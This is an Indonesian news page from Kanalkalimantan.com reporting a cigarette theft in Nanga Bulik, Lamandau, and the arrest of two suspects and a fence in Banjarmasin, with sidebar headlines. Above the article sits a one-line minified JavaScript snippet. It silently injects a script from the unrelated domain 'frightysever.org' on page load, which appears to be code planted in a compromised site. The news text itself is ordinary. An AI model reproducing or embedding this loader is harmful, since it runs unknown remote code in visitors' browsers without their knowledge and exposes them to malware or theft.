(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Lamandau

Curi Puluhan Slop Rokok di Nanga Bulik, Dua Pelaku Dibekuk di Banjarmasin


KANALKALIMANTAN.COM, NANGA BULIK - Personel Satreskrim Polres Lamandau berhasil mengungkap dan membekuk dua pencuri puluhan bal rokok berbagai merek dari sebuah toko kelontongan miliki warga di Jalan Jc Rangkap, Kelurahan Nanga Bulik, Kabupaten Lamandau, Kalimantan Tengah.

Kapolres Lamandau AKBP Bronto Budiyono SIK didampingi Kasatreskrim Iptu Faizal Firman Gani saat konferensi pers memgatakan, kedua tersangka tersebut berasal dari Kalimantan Barat, berinisial MS (43) dan AW (45), yang dibekuk di wilayah Kalimantan Selatan. Sementara pemilik toko atas nama Ana yang mengalami kerugian total mencapai Rp 66.910.000 karena kehilangan puluhan bal rokok. Rokok yang dicuri diantaranya Sampoerna Mild sebanyak 16 bal, Gudang Garam Surya 16 sebanyak 5 bal, dan rokok ON Bold sebanyak 6 bal.

Berdasarkan laporan yang diterima polisi pada Sabtu 11 Januari 2023 lalu, piket Polres Lamandau mendapat laporan resmi adanya pencurian di sebuah toko kelontongan di Kota Nanga Bulik. Lalu, bermodal dari hasil rekaman CCTV, terekam ciri-ciri kedua pelaku, mulai dari badan, wajah, pakaian pelaku.

Belakangan kedua pelaku kabur ke wilayah Banjarmasin, Kalsel, dan pada Jumat 24 Februari 2023, anggota Satreskrim Polres Lamandau dengan diback up anggota Jatanras Polda Kalteng, Intel Polda Kalteng, Jatanras Subdit III Polda Kalsel dan anggota Polsek Banjarmasin Utara melakukan pengejaran dan berhasil membekuk dua pelaku tersebut.

 

Baca juga: Jelang MTQ Nasional XXIX di Kalsel, Bandara Syamsudin Noor Mulai Kedatangan Kafilah

“Pengakuan kedua pelaku melakukan ini karena tidak memiliki pekerjaan dan penghasilan, terpaksa melakukan ini dengan cara mencuri,” ungkap Kapolres Lamandau.

Polisi kemudian melakukan pengembangan dan berhasil mengamankan TN (53) sebagai penadah rokok hasil curian, hasil pengakuan kedua tersangka yang ditangkap.

Barang bukti yang diamankan 1 buah linggis, 2 buah senter,

1 buah jaket warna creme, 1 buah jaket warna biru, 2 buah topi, 1 buah warna hitam merah, 1 buah tas pinggang, 1 buah ikat pinggang warna coklat, rokok Sampoerna sebanyak 3 slop, Rokok Surya 16 sebanyak 15 slop, Rokok On Bold sebanyak 20 slop.

“Pelaku dikenakan  pasal 363 Ayat (2) dan pasal 480 KUHPidana dengan ancaman maksimal 9 tahun penjara dan pelaku penadah dapat di kenakan pasal 480 ke 1 dengan ancaman hukuman maksimal 4 tahun penjara,” pungkasnya.(Kanalkalimantan.com/habibullah)

Reporter: habibullah
Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.